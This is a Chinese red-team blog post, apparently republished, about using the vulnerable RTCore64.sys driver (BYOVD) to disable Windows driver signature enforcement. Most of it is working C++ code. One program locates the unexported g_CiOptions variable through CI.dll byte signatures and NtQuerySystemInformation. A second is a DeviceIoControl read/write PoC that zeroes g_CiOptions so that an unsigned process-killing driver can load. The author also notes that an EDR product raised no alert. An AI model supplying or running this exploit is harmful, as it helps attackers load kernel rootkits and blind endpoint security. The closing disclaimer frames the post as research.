文章总结: 本文讲解利用RTCore64驱动实施BYOVD攻击绕过Windows驱动签名校验。核心步骤包括通过IDA逆向CI.dll定位未导出变量g_CiOptions的特征码,结合NtQuerySystemInformation获取内核地址。随后利用该驱动的任意读写漏洞修改g_CiOptions关闭DSE,从而加载未签名驱动。文中提供了完整的定位与利用代码,实战价值高。
综合评分: 88
文章分类: 二进制安全,红队,漏洞POC,逆向分析
Windows内核攻防—利用RTCore64驱动绕过Windows签名校验
原创
脸红ฅฅ的思春期
脸红ฅฅ的思春期
Heri76安全
2026年3月13日 16:59
广东
前言
好久没有发过文章了,难得今天有空,顺手发表记录一下最近的学习。
众所周知,Windows加载驱动会验证驱动是否有微软的签名,这也就是是所谓的DSE机制。每次我们开机的时候,Windows内核都会加载 CI.dll 中的一个全局变量 g_CiOptions 来判定是否开启DSE机制。那么整体攻击思路就很简单了,借助 BYOVD 进入到内核去修改 g_CiOptions 的值,关闭DSE,从而能够加载我们自己手写的驱动,这也是以前较为流行的攻击手法。
g_CiOptions定位
由于 g_CiOptions 这个全局变量是没有导出的,所以我们只能通过特征码去寻找它的位置。用IDA打开CI.dll,来到 name 页面直接搜 CiInitialize 在CI.dll中的位置。它是 CI.dll 中的一个导出函数,我们通过它来作为切入点。
然后双击进去,发现CiInitialize 函数主要是调用 CipInitialize 函数的。
继续跟进,发现在 CipInitialize 函数里面有一个赋值语句 g_CiOptions = a1 这个就是我们要找的地方。
我们点击 g_CiOptions 然后按下 tab 键切换到汇编查看,可以看到 g_CiOptions = a1 的汇编语句是
mov cs:g_CiOptions, ecx
机器码如下,机器码也就是我们要找的特征码,注意这里其实89 0D 才是真正的机器码,后面的四个只是偏移量,这个偏移量是机器不稳定的,有可能Windows的一个小更新,这个偏移量就变了,所以偏移量不能作为特征码。
89 0D 09 C4 FF FF
所以现在我们 g_CiOptions 的特征码就是 89 0D,但是整个CI.dll 存在太多 89 0D的机器码了,如果只靠这两个,那么很容易找错了。所以此时我们结合 89 0D 的上调语句的机器,来进行结合寻找。
48 8B EA mov rbp, rdx
所以最终的特征码是,要注意这个特征码只适合Windows11用。
0x48 0x8B 0xEA 0x89 0x0D
我又分析了一下Windows10的CI.dll,特征码如下。
0x49, 0x8B, 0xE9, 0x89, 0x0D
现在特征码找到了,要如何在内核中定位 g_CiOptions 的位置呢,方法也非常简单。我们通过NtQuerySystemInformation 去枚举内核的所有加载模块,找到 CI.dll 在内核中的地址,然后就从CI.dll的地址开始扫描,直到匹配到特征码就结束,此时找到的就是 g_CiOptions的地址了。
下面是NtQuerySystemInformation 的信息,同样这也是一个未导出的函数。
整体寻找位置代码如下,代码不算复杂,逻辑和上面说的一样。
#include <windows.h>#include <stdio.h>#include <winternl.h>
// 状态码#define STATUS_SUCCESS 0x00000000#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
// 查询类别:11代表系统模块信息constexpr SYSTEM_INFORMATION_CLASS SystemModuleInformation = (SYSTEM_INFORMATION_CLASS)11;
// --- 未文档化结构体定义 ---typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; ULONG64 ImageBase; // 模块加载的基址 ULONG ImageSize; // 模块在内存中的大小 ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; // 文件名在 FullPathName 中的起始偏移量 CHAR FullPathName[256]; // 模块的绝对路径 (ANSI字符串)} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; // 系统当前加载的模块总数 RTL_PROCESS_MODULE_INFORMATION Modules[1]; // 模块数组首元素} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
// --- API指针类型定义 ---typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
// 这是一个辅助函数,用于在内存中搜索特征码// pattern 中允许使用 '?' 作为通配符(忽略该字节的匹配)// signature: "\x48\x8B\x00\xE8\x00\x00\x00\x00" // mask: "xx?x????" (x代表精确匹配,?代表通配符)bool DataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) { for (; *szMask; ++szMask, ++pData, ++bMask) { if (*szMask == 'x' && *pData != *bMask) { return false; } } return (*szMask) == 0; // 如果掩码走完都没出错,说明完全匹配}
ULONG64 FindCiOptionAddress(ULONG64 ciBase){ HMODULE hLocalCi = LoadLibraryExA("C:\\Windows\\System32\\ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); if (!hLocalCi) { printf("[-] Error: 无法加载本地 CI.dll, 错误码: %d\n", GetLastError()); return -1; } printf("[+] Local CI.dll loaded at user-mode address: 0x%p\n", hLocalCi);
// 3. 获取本地模块的各种头信息,以便知道要扫描多大 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hLocalCi; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hLocalCi + pDosHeader->e_lfanew); DWORD imageSize = pNtHeaders->OptionalHeader.SizeOfImage; printf("[+] Image Size to scan: 0x%X bytes\n", imageSize);
// 4. 定义你的特征码 //BYTE pattern[] = { 0x48, 0x8B, 0xEA, 0x89, 0x0D }; // 前 5 个固定字节 BYTE pattern[] = { 0x49, 0x8B, 0xE9, 0x89, 0x0D}; const char* mask = "xxxxx"; // 简化版,先看能不能搜到这5个字节
// 5. 开始在【用户态本地内存】中扫描 printf("[*] 开始执行特征码扫描...\n"); bool bFound = false; ULONGLONG finalKernelAddress;
for (DWORD i = 0; i < imageSize - 10; i++) { BYTE* currentAddress = (BYTE*)hLocalCi + i;
if (DataCompare(currentAddress, pattern, mask)) { bFound = true; printf("[+] 找到匹配特征码!本地内存地址: 0x%p\n", currentAddress);
// 6. 提取偏移量 (Offset) // 89 0D 后面的 4 个字节就是偏移量 LONG offset = *(LONG*)(currentAddress + 5); printf("[+] 提取出的指令偏移量 (Offset): 0x%X\n", offset);
// 7. 计算相对虚拟地址 (RVA) // nextInstruction RVA = (当前指令地址 - 模块基址) + 指令总长度(9) ULONG64 nextInstructionRVA = (ULONG64)((BYTE*)currentAddress - (BYTE*)hLocalCi) + 9;
// g_CiOptions 的 RVA = nextInstruction RVA + offset ULONG64 g_CiOptions_RVA = nextInstructionRVA + offset; printf("[+] 计算得出 g_CiOptions 的相对偏移 (RVA): 0x%X\n", g_CiOptions_RVA);
// 8. 计算最终的内核绝对地址! finalKernelAddress = (ULONGLONG)ciBase + (ULONGLONG)g_CiOptions_RVA; printf("[!] >>> 终极目标:内核 g_CiOptions 真实绝对地址: 0x%llX <<<\n", finalKernelAddress);
break; // 找到了就退出循环 } }
if (!bFound) { printf("[-] 扫描结束。未找到特征码!可能是当前系统版本的 CI.dll 特征码改变了。\n"); return 0; }
FreeLibrary(hLocalCi); return finalKernelAddress;
}
int main() { // 1. 获取 ntdll.dll 句柄并导出函数 HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll"); if (!hNtDll) { printf("[-] Failed to load ntdll.dll\n"); return 1; }
PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(hNtDll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) { printf("[-] Failed to get NtQuerySystemInformation address\n"); return 1; }
ULONG bufferSize = 0; PVOID buffer = nullptr; NTSTATUS status;
ULONG64 CIDLLadress; ULONG64 CiOption;
// 2. 探针调用,获取系统建议的缓冲区大小 NtQuerySystemInformation(SystemModuleInformation, &bufferSize, 0, &bufferSize);
// 3. 循环分配足够大的内存 while (true) { buffer = malloc(bufferSize); if (!buffer) { printf("[-] Memory allocation failed!\n"); return 1; }
status = NtQuerySystemInformation(SystemModuleInformation, buffer, bufferSize, &bufferSize);
if (status == STATUS_INFO_LENGTH_MISMATCH) { free(buffer); // 如果在这极短的时间内系统加载了新模块导致大小又不够了,增加点余量重试 bufferSize += 8192; } else { break; } }
// 4. 解析并打印模块列表 if (status == STATUS_SUCCESS) { PRTL_PROCESS_MODULES pModules = (PRTL_PROCESS_MODULES)buffer;
printf("[+] Successfully retrieved system modules.\n"); printf("[+] Total Modules Loaded: %lu\n\n", pModules->NumberOfModules);
// 打印表头 printf("%-18s %-10s %-25s %s\n", "Base Address", "Size", "Module Name", "Full Path"); printf("------------------------------------------------------------------------------------------\n");
// 遍历所有模块 for (ULONG i = 0; i < pModules->NumberOfModules; i++) { PRTL_PROCESS_MODULE_INFORMATION moduleInfo = &pModules->Modules[i];
// 提取纯文件名 (FullPathName + 偏移) char* fileName = (char*)moduleInfo->FullPathName + moduleInfo->OffsetToFileName;
// 格式化输出: 基址、大小(十六进制)、文件名、完整路径
if (_stricmp(fileName, "CI.dll") == 0) { printf("0x%-16p 0x%-8X %-25s %s\n", moduleInfo->ImageBase, moduleInfo->ImageSize, fileName, moduleInfo->FullPathName); CIDLLadress = ULONG64(moduleInfo->ImageBase); break; } }
CiOption = FindCiOptionAddress(CIDLLadress); } else { printf("[-] NtQuerySystemInformation failed with NTSTATUS: 0x%08X\n", status); }
// 5. 释放内存退出 free(buffer); return 0;}
运行代码找到g_CiOptions 的内核地址是 0xFFFFF807063C7278
可以用 windbg 去验证一下是否正确,windbg 中找到的 g_CiOptions 地址也是 fffff807063c7278,说明我们上面的查找逻辑是对的。
g_CiOptions 修改
既然找到位置了,现在我们来修改g_CiOptions的值。由于 g_CiOptions 在内核里面,我们必须借助 BYOVD 才能进入内核进行修改。RTCore64.sys 就存在可读可写的漏洞,更重要的是这个驱动没有被微软拉黑,甚至一些EDR也可以加载这个驱动!
那么现在思路就简单了,加载RTCore64.sys 去修改 g_CiOptions 的值为00000000,然后再加载自己写的无签名的驱动,最后再把 g_CiOptions 的值改回去,防止 PatchGuard 扫描。但是我在测试的时候并没有把g_CiOptions 修改回去,也没有导致蓝屏。
RTCore64.sys 的POC网上找就行,也可以自己写,这里我偷懒就拿了网上的,然后自己修改了一下。
非常简单的一个POC,就是加载 RTCore64.sys 驱动去修改指定内核地址的值。
#include <Windows.h>#include <Psapi.h>#include <cstdio>
void Con(const char* Message, ...) { const auto file = stderr;
va_list Args; va_start(Args, Message); std::vfprintf(file, Message, Args); std::fputc('\n', file); va_end(Args);}struct RTCORE64_MSR_READ { DWORD Register; DWORD ValueHigh; DWORD ValueLow;};static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
struct RTCORE64_MEMORY_READ { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16];};static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
struct RTCORE64_MEMORY_WRITE { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16];};static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { RTCORE64_MEMORY_READ MemoryRead{}; MemoryRead.Address = Address; MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device, RTCORE64_MEMORY_READ_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, nullptr);
return MemoryRead.Value;}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { RTCORE64_MEMORY_READ MemoryRead{}; MemoryRead.Address = Address; MemoryRead.ReadSize = Size; MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device, RTCORE64_MEMORY_WRITE_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, nullptr);}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) { return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { return ReadMemoryPrimitive(Device, 4, Address);}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);}
unsigned long long getKBAddr() { DWORD out = 0; DWORD nb = 0; PVOID* base = NULL; if (EnumDeviceDrivers(NULL, 0, &nb)) { base = (PVOID*)malloc(nb); if (EnumDeviceDrivers(base, nb, &out)) { return (unsigned long long)base[0]; } } return NULL;}
struct Offsets { DWORD64 UPIdOffset; DWORD64 APLinksOffset; DWORD64 TOffset;};
void MSYS() { const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); if (Device == INVALID_HANDLE_VALUE) { Con("[!] Unable to obtain a handle to the device object"); return; }
WriteMemoryDWORD64(Device, 0xFFFFF8034AFC7278, 00000000);
CloseHandle(Device);}
int main(){ MSYS(); return 0;}
效果验证
上面的理论说完了,现在我们看一下效果,这里我也自己编写了一个结束进程的驱动。所以整体流程就是加载 RTCore64.sys 去修改 g_CiOptions的值,达到关闭DSE的目的。然后加载自己的驱动进入内核,在内核层面去结束指定进程。
这里可以看到天擎并没有把 RTCore64.sys 拉黑,包括我们自己写的驱动已经POC。
注册驱动服务。
可以看到我们能运行 test1服务,却无法运行 test2服务,这是因为 test2服务指向的驱动是我们自己写的,没有微软签名。
运行POC去修改g_CiOptions的值后,test2服务可以运行,也就是说加载了没有签名的驱动。
此时借助我们的驱动从内核结束指定进程,结束进程之前。
结束进程之后。
到服务端 看一下,发现并没有什么告警。
当然天擎肯定不会这么拉跨,猜测是没有配置相关策略导致的。
总结
整体利用逻辑不算复杂,找到 g_CiOptions 特征码 —> 定位 g_CiOptions位置 —> 利用BYOVD去修改值 —> 加载无签名驱动。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Heri76安全 脸红ฅฅ的思春期
脸红ฅฅ的思春期《Windows内核攻防—利用RTCore64驱动绕过Windows签名校验》